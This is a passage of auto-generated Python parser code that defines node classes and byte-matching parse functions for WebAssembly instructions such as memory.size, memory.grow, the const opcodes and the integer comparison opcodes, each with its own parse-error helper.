{col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_store16' rule, at the expression:\n" ' 0x3d\n\n' 'Expected to match the byte value 0x3d' ) raise ParseError((title + details), _pos, line, col) class i64_store32(Node): """ class i64_store32 { let id: 0x3e align: u32 offset: u32 } """ _fields = ('align', 'offset') id = 0x3e def __init__(self, align, offset): Node.__init__(self) self.align = align self.offset = offset def __repr__(self): return f'i64_store32(align={self.align!r}, offset={self.offset!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_store32, fullparse) def _try_i64_store32(_text, _pos): # Begin Seq start_pos92 = _pos while True: # Begin Byte # 0x3e if (_pos < len(_text)) and (_text[_pos] == 62): _result = 62 _pos = (_pos + 1) _status = True else: _result = _raise_error1148 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break align = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break offset = _result _result = i64_store32(align, offset) _result._metadata.position_info = (start_pos92, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1148(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_store32' rule, at the expression:\n" ' 0x3e\n\n' 'Expected to match the byte value 0x3e' ) raise ParseError((title + details), _pos, line, col) class memory_size(Node): """ class memory_size { let id: 0x3f let zero: 0x0 } """ _fields = () id = 0x3f zero = 0x0 def __init__(self): Node.__init__(self) def __repr__(self): return f'memory_size()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_memory_size, fullparse) def _try_memory_size(_text, _pos): # Begin Seq start_pos93 = _pos while True: # Begin Byte # 0x3f if (_pos < len(_text)) and (_text[_pos] == 63): _result = 63 _pos = (_pos + 1) _status = True else: _result = _raise_error1156 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error1158 _status = False # End Byte if not (_status): break zero = _result _result = memory_size() _result._metadata.position_info = (start_pos93, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1156(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_size' rule, at the expression:\n" ' 0x3f\n\n' 'Expected to match the byte value 0x3f' ) raise ParseError((title + details), _pos, line, col) def _raise_error1158(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_size' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class memory_grow(Node): """ class memory_grow { let id: 0x40 let zero: 0x0 } """ _fields = () id = 0x40 zero = 0x0 def __init__(self): Node.__init__(self) def __repr__(self): return f'memory_grow()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_memory_grow, fullparse) def _try_memory_grow(_text, _pos): # Begin Seq start_pos94 = _pos while True: # Begin Byte # 0x40 if (_pos < len(_text)) and (_text[_pos] == 64): _result = 64 _pos = (_pos + 1) _status = True else: _result = _raise_error1162 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error1164 _status = False # End Byte if not (_status): break zero = _result _result = memory_grow() _result._metadata.position_info = (start_pos94, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1162(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_grow' rule, at the expression:\n" ' 0x40\n\n' 'Expected to match the byte value 0x40' ) raise ParseError((title + details), _pos, line, col) def _raise_error1164(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_grow' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class i32_const(Node): """ class i32_const { let id: 0x41 number: i32 } """ _fields = ('number',) id = 0x41 def __init__(self, number): Node.__init__(self) self.number = number def __repr__(self): return f'i32_const(number={self.number!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_const, fullparse) def _try_i32_const(_text, _pos): # Begin Seq start_pos95 = _pos while True: # Begin Byte # 0x41 if (_pos < len(_text)) and (_text[_pos] == 65): _result = 65 _pos = (_pos + 1) _status = True else: _result = _raise_error1168 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_i32, _pos)) # End Ref if not (_status): break number = _result _result = i32_const(number) _result._metadata.position_info = (start_pos95, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1168(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_const' rule, at the expression:\n" ' 0x41\n\n' 'Expected to match the byte value 0x41' ) raise ParseError((title + details), _pos, line, col) class i64_const(Node): """ class i64_const { let id: 0x42 number: i64 } """ _fields = ('number',) id = 0x42 def __init__(self, number): Node.__init__(self) self.number = number def __repr__(self): return f'i64_const(number={self.number!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_const, fullparse) def _try_i64_const(_text, _pos): # Begin Seq start_pos96 = _pos while True: # Begin Byte # 0x42 if (_pos < len(_text)) and (_text[_pos] == 66): _result = 66 _pos = (_pos + 1) _status = True else: _result = _raise_error1174 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_i64, _pos)) # End Ref if not (_status): break number = _result _result = i64_const(number) _result._metadata.position_info = (start_pos96, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1174(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_const' rule, at the expression:\n" ' 0x42\n\n' 'Expected to match the byte value 0x42' ) raise ParseError((title + details), _pos, line, col) class f32_const(Node): """ class f32_const { let id: 0x43 number: f32 } """ _fields = ('number',) id = 0x43 def __init__(self, number): Node.__init__(self) self.number = number def __repr__(self): return f'f32_const(number={self.number!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_const, fullparse) def _try_f32_const(_text, _pos): # Begin Seq start_pos97 = _pos while True: # Begin Byte # 0x43 if (_pos < len(_text)) and (_text[_pos] == 67): _result = 67 _pos = (_pos + 1) _status = True else: _result = _raise_error1180 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_f32, _pos)) # End Ref if not (_status): break number = _result _result = f32_const(number) _result._metadata.position_info = (start_pos97, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1180(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_const' rule, at the expression:\n" ' 0x43\n\n' 'Expected to match the byte value 0x43' ) raise ParseError((title + details), _pos, line, col) class f64_const(Node): """ class f64_const { let id: 0x44 number: f64 } """ _fields = ('number',) id = 0x44 def __init__(self, number): Node.__init__(self) self.number = number def __repr__(self): return f'f64_const(number={self.number!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_const, fullparse) def _try_f64_const(_text, _pos): # Begin Seq start_pos98 = _pos while True: # Begin Byte # 0x44 if (_pos < len(_text)) and (_text[_pos] == 68): _result = 68 _pos = (_pos + 1) _status = True else: _result = _raise_error1186 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_f64, _pos)) # End Ref if not (_status): break number = _result _result = f64_const(number) _result._metadata.position_info = (start_pos98, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1186(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_const' rule, at the expression:\n" ' 0x44\n\n' 'Expected to match the byte value 0x44' ) raise ParseError((title + details), _pos, line, col) class i32_eqz(Node): """ class i32_eqz { let id: 0x45 } """ _fields = () id = 0x45 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_eqz()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_eqz, fullparse) def _try_i32_eqz(_text, _pos): # Begin Seq start_pos99 = _pos while True: # Begin Byte # 0x45 if (_pos < len(_text)) and (_text[_pos] == 69): _result = 69 _pos = (_pos + 1) _status = True else: _result = _raise_error1192 _status = False # End Byte if not (_status): break id = _result _result = i32_eqz() _result._metadata.position_info = (start_pos99, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1192(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_eqz' rule, at the expression:\n" ' 0x45\n\n' 'Expected to match the byte value 0x45' ) raise ParseError((title + details), _pos, line, col) class i32_eq(Node): """ class i32_eq { let id: 0x46 } """ _fields = () id = 0x46 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_eq()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_eq, fullparse) def _try_i32_eq(_text, _pos): # Begin Seq start_pos100 = _pos while True: # Begin Byte # 0x46 if (_pos < len(_text)) and (_text[_pos] == 70): _result = 70 _pos = (_pos + 1) _status = True else: _result = _raise_error1196 _status = False # End Byte if not (_status): break id = _result _result = i32_eq() _result._metadata.position_info = (start_pos100, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1196(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_eq' rule, at the expression:\n" ' 0x46\n\n' 'Expected to match the byte value 0x46' ) raise ParseError((title + details), _pos, line, col) class i32_ne(Node): """ class i32_ne { let id: 0x47 } """ _fields = () id = 0x47 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_ne()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_ne, fullparse) def _try_i32_ne(_text, _pos): # Begin Seq start_pos101 = _pos while True: # Begin Byte # 0x47 if (_pos < len(_text)) and (_text[_pos] == 71): _result = 71 _pos = (_pos + 1) _status = True else: _result = _raise_error1200 _status = False # End Byte if not (_status): break id = _result _result = i32_ne() _result._metadata.position_info = (start_pos101, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1200(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_ne' rule, at the expression:\n" ' 0x47\n\n' 'Expected to match the byte value 0x47' ) raise ParseError((title + details), _pos, line, col) class i32_lt_s(Node): """ class i32_lt_s { let id: 0x48 } """ _fields = () id = 0x48 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_lt_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_lt_s, fullparse) def _try_i32_lt_s(_text, _pos): # Begin Seq start_pos102 = _pos while True: # Begin Byte # 0x48 if (_pos < len(_text)) and (_text[_pos] == 72): _result = 72 _pos = (_pos + 1) _status = True else: _result = _raise_error1204 _status = False # End Byte if not (_status): break id = _result _result = i32_lt_s() _result._metadata.position_info = (start_pos102, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1204(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_lt_s' rule, at the expression:\n" ' 0x48\n\n' 'Expected to match the byte value 0x48' ) raise ParseError((title + details), _pos, line, col) class i32_lt_u(Node): """ class i32_lt_u { let id: 0x49 } """ _fields = () id = 0x49 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_lt_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_lt_u, fullparse) def _try_i32_lt_u(_text, _pos): # Begin Seq start_pos103 = _pos while True: # Begin Byte # 0x49 if (_pos < len(_text)) and (_text[_pos] == 73): _result = 73 _pos = (_pos + 1) _status = True else: _result = _raise_error1208 _status = False # End Byte if not (_status): break id = _result _result = i32_lt_u() _result._metadata.position_info = (start_pos103, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1208(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_lt_u' rule, at the expression:\n" ' 0x49\n\n' 'Expected to match the byte value 0x49' ) raise ParseError((title + details), _pos, line, col) class i32_gt_s(Node): """ class i32_gt_s { let id: 0x4a } """ _fields = () id = 0x4a def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_gt_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_gt_s, fullparse) def _try_i32_gt_s(_text, _pos): # Begin Seq start_pos104 = _pos while True: # Begin Byte # 0x4a if (_pos < len(_text)) and (_text[_pos] == 74): _result = 74 _pos = (_pos + 1) _status = True else: _result = _raise_error1212 _status = False # End Byte if not (_status): break id = _result _result = i32_gt_s() _result._metadata.position_info = (start_pos104, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1212(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_gt_s' rule, at the expression:\n" ' 0x4a\n\n' 'Expected to match the byte value 0x4a' ) raise ParseError((title + details), _pos, line, col) class i32_gt_u(Node): """ class i32_gt_u { let id: 0x4b } """ _fields = () id = 0x4b def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_gt_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_gt_u, fullparse) def _try_i32_gt_u(_text, _pos): # Begin Seq start_pos105 = _pos while True: # Begin Byte # 0x4b if (_pos < len(_text)) and (_text[_pos] == 75): _result = 75 _pos = (_pos + 1) _status = True else: _result = _raise_error1216 _status = False # End Byte if not (_status): break id = _result _result = i32_gt_u() _result._metadata.position_info = (start_pos105, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1216(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_gt_u' rule, at the expression:\n" ' 0x4b\n\n' 'Expected to match the byte value 0x4b' ) raise ParseError((title + details), _pos, line, col) class i32_le_s(Node): """ class i32_le_s { let id: 0x4c } """ _fields = () id = 0x4c def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_le_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_le_s, fullparse) def _try_i32_le_s(_text, _pos): # Begin Seq start_pos106 = _pos while True: # Begin Byte # 0x4c if (_pos < len(_text)) and (_text[_pos] == 76): _result = 76 _pos = (_pos + 1) _status = True else: _result = _raise_error1220 _status = False # End Byte if not (_status): break id = _result _result = i32_le_s() _result._metadata.position_info = (start_pos106, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1220(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_le_s' rule, at the expression:\n" ' 0x4c\n\n' 'Expected to match the byte value 0x4c' ) raise ParseError((title + details), _pos, line, col) class i32_le_u(Node): """ class i32_le_u { let id: 0x4d } """ _fields = () id = 0x4d def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_le_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_le_u, fullparse) def _try_i32_le_u(_text, _pos): # Begin Seq start_pos107 = _pos while True: # Begin Byte # 0x4d if (_pos < len(_text)) and (_text[_pos] == 77): _result = 77 _pos = (_pos + 1) _status = True else: _result = _raise_error1224 _status = False # End Byte if not (_status): break id = _result _result = i32_le_u() _result._metadata.position_info = (start_pos107, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1224(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_le_u' rule, at the expression:\n" ' 0x4d\n\n' 'Expected to match the byte value 0x4d' ) raise ParseError((title + details), _pos, line, col) class i32_ge_s(Node): """ class i32_ge_s { let id: 0x4e } """ _fields = () id = 0x4e def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_ge_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_ge_s, fullparse) def _try_i32_ge_s(_text, _pos): # Begin Seq start_pos108 = _pos while True: # Begin Byte # 0x4e if (_pos < len(_text)) and (_text[_pos] == 78): _result = 78 _pos = (_pos + 1) _status = True else: _result = _raise_error1228 _status = False # End Byte if not (_status): break id = _result _result = i32_ge_s() _result._metadata.position_info = (start_pos108, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1228(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_ge_s' rule, at the expression:\n" ' 0x4e\n\n' 'Expected to match the byte value 0x4e' ) raise ParseError((title + details), _pos, line, col) class i32_ge_u(Node): """ class i32_ge_u { let id: 0x4f } """ _fields = () id = 0x4f def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_ge_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_ge_u, fullparse) def _try_i32_ge_u(_text, _pos): # Begin Seq start_pos109 = _pos while True: # Begin Byte # 0x4f if (_pos < len(_text)) and (_text[_pos] == 79): _result = 79 _pos = (_pos + 1) _status = True else: _result = _raise_error1232 _status = False # End Byte if not (_status): break id = _result _result = i32_ge_u() _result._metadata.position_info = (start_pos109, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1232(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_ge_u' rule, at the expression:\n" ' 0x4f\n\n' 'Expected to match the byte value 0x4f' ) raise ParseError((title + details), _pos, line, col) class i64_eqz(Node): """ class i64_eqz { let id: 0x50 } """ _fields = () id = 0x50 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_eqz()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_eqz, fullparse) def _try_i64_eqz(_text, _pos): # Begin Seq start_pos110 = _pos while True: # Begin Byte # 0x50 if (_pos < len(_text)) and (_text[_pos] == 80): _result = 80 _pos = (_pos + 1) _status = True else: _result = _raise_error1236 _status = False # End Byte if not (_status): break id = _result _result = i64_eqz() _result._metadata.position_info = (start_pos110, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1236(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_eqz' rule, at the expression:\n" ' 0x50\n\n' 'Expected to match the byte value 0x50' ) raise ParseError((title + details), _pos, line, col) class i64_eq(Node): """ class i64_eq { let id: 0x51 } """ _fields = () id = 0x51 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_eq()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_eq, fullparse) def _try_i64_eq(_text, _pos): # Begin Seq start_pos111 = _pos while True: # Begin Byte # 0x51 if (_pos < len(_text)) and (_text[_pos] == 81): _result = 81 _pos = (_pos + 1) _status = True else: _result = _raise_error1240 _status = False # End Byte if not (_status): break id = _result _result = i64_eq() _result._metadata.position_info = (start_pos111, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1240(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_eq' rule, at the expression:\n" ' 0x51\n\n' 'Expected to match the byte value 0x51' ) raise ParseError((title + details), _pos, line, col) class i64_ne(Node): """ class i64_ne { let id: 0x52 } """ _fields = () id = 0x52 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_ne()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_ne, fullparse) def _try_i64_ne(_text, _pos): # Begin Seq start_pos112 = _pos while True: # Begin Byte # 0x52 if (_pos < len(_text)) and (_text[_pos] == 82): _result = 82 _pos = (_pos + 1) _status = True else: _result = _raise_error1244 _status = False # End Byte if not (_status): break id = _result _result = i64_ne() _result._metadata.position_info = (start_pos112, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1244(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_ne' rule, at the expression:\n" ' 0x52\n\n' 'Expected to match the byte value 0x52' ) raise ParseError((title + details), _pos, line, col) class i64_lt_s(Node): """ class i64_lt_s { let id: 0x53 } """ _fields = () id = 0x53 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_lt_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_lt_s, fullparse) def _try_i64_lt_s(_text, _pos): # Begin Seq start_pos113 = _pos while True: # Begin Byte # 0x53 if (_pos < len(_text)) and (_text[_pos] == 83): _result = 83 _pos = (_pos + 1) _status = True else: _result = _raise_error1248 _status = False # End Byte if not (_status): break id = _result _result = i64_lt_s() _result._metadata.position_info = (start_pos113, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1248(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_lt_s' rule, at the expression:\n" ' 0x53\n\n' 'Expected to match the byte value 0x53' ) raise ParseError((title + details), _pos, line, col) class i64_lt_u(Node): """ class i64_lt_u { let id: 0x54 } """ _fields = () id = 0x54 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_lt_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_lt_u, fullparse) def _try_i64_lt_u(_text, _pos): # Begin Seq start_pos114 = _pos while True: # Begin Byte # 0x54 if (_pos < len(_text)) and (_text[_pos] == 84): _result = 84 _pos = (_pos + 1) _status = True else: _result = _raise_error1252 _status = False # End Byte if not (_status): break id = _result _result = i64_lt_u() _result._metadata.position_info = (start_pos114, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1252(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_lt_u' rule, at the expression:\n" ' 0x54\n\n' 'Expected to match the byte value 0x54' ) raise ParseError((title + details), _pos, line, col) class i64_gt_s(Node): """ class i64_gt_s { let id: 0x55 } """ _fields = () id = 0x55 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_gt_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_gt_s, fullparse) def _try_i64_gt_s(_text, _pos): # Begin Seq start_pos115 = _pos while True: # Begin Byte # 0x55 if (_pos < len(_text)) and (_text[_pos] == 85): _result = 85 _pos = (_pos + 1) _status = True else: _result = _raise_error1256 _status = False # End Byte if not (_status): break id = _result _result = i64_gt_s() _result._metadata.position_info = (start_pos115, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1256(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_gt_s' rule, at the expression:\n" ' 0x55\n\n' 'Expected to match the byte value 0x55' ) raise ParseError((title + details), _pos, line, col) class i64_gt_u(Node): """ class i64_gt_u { let id: 0x56 } """ _fields = () id = 0x56 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_gt_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_gt_u, fullparse) def _try_i64_gt_u(_text, _pos): # Begin Seq start_pos116 = _pos while True: # Begin Byte # 0x56 if (_pos < len(_text)) and (_text[_pos] == 86): _result = 86 _pos = (_pos + 1) _status = True else: _result = _raise_error1260 _status = False # End Byte if not (_status): break id = _result _result = i64_gt_u() _result._metadata.position_info = (start_pos116, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1260(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_gt_u' rule, at the expression:\n" ' 0x56\n\n' 'Expected to match the byte value 0x56' ) raise ParseError((title + details), _pos, line, col) class i64_le_s(Node): """ class i64_le_s { let id: 0x57 } """ _fields = () id = 0x57 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_le_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_le_s, fullparse) def _try_i64_le_s(_text, _pos): # Begin Seq start_pos117 = _pos while True: # Begin Byte # 0x57 if (_pos < len(_text)) and (_text[_pos] == 87): _result = 87 _pos = (_pos + 1) _status = True else: _result = _raise_error1264 _status = False # End Byte if not (_status): break id = _result _result = i64_le_s() _result._metadata.position_info = (start_pos117, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1264(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_le_s' rule, at the expression:\n" ' 0x57\n\n' 'Expected to match the byte value 0x57' ) raise ParseError((title + details), _pos, line, col) class i64_le_u(Node): """ class i64_le_u { let id: 0x58 } """ _fields = () id = 0x58 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_le_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_le_u, fullparse) def _try_i64_le_u(_text, _pos): # Begin Seq start_pos118 = _pos while True: # Begin Byte # 0x58 if (_pos < len(_text)) and (_text[_pos] == 88): _result = 88 _pos = (_pos + 1) _status = True else: _result = _raise_error1268 _status = False # End Byte if not (_status): break id = _result _result = i64_le_u() _result._metadata.position_info = (start_pos118, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1268(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_le_u' rule, at the expression:\n" ' 0x58\n\n' 'Expected to match the byte 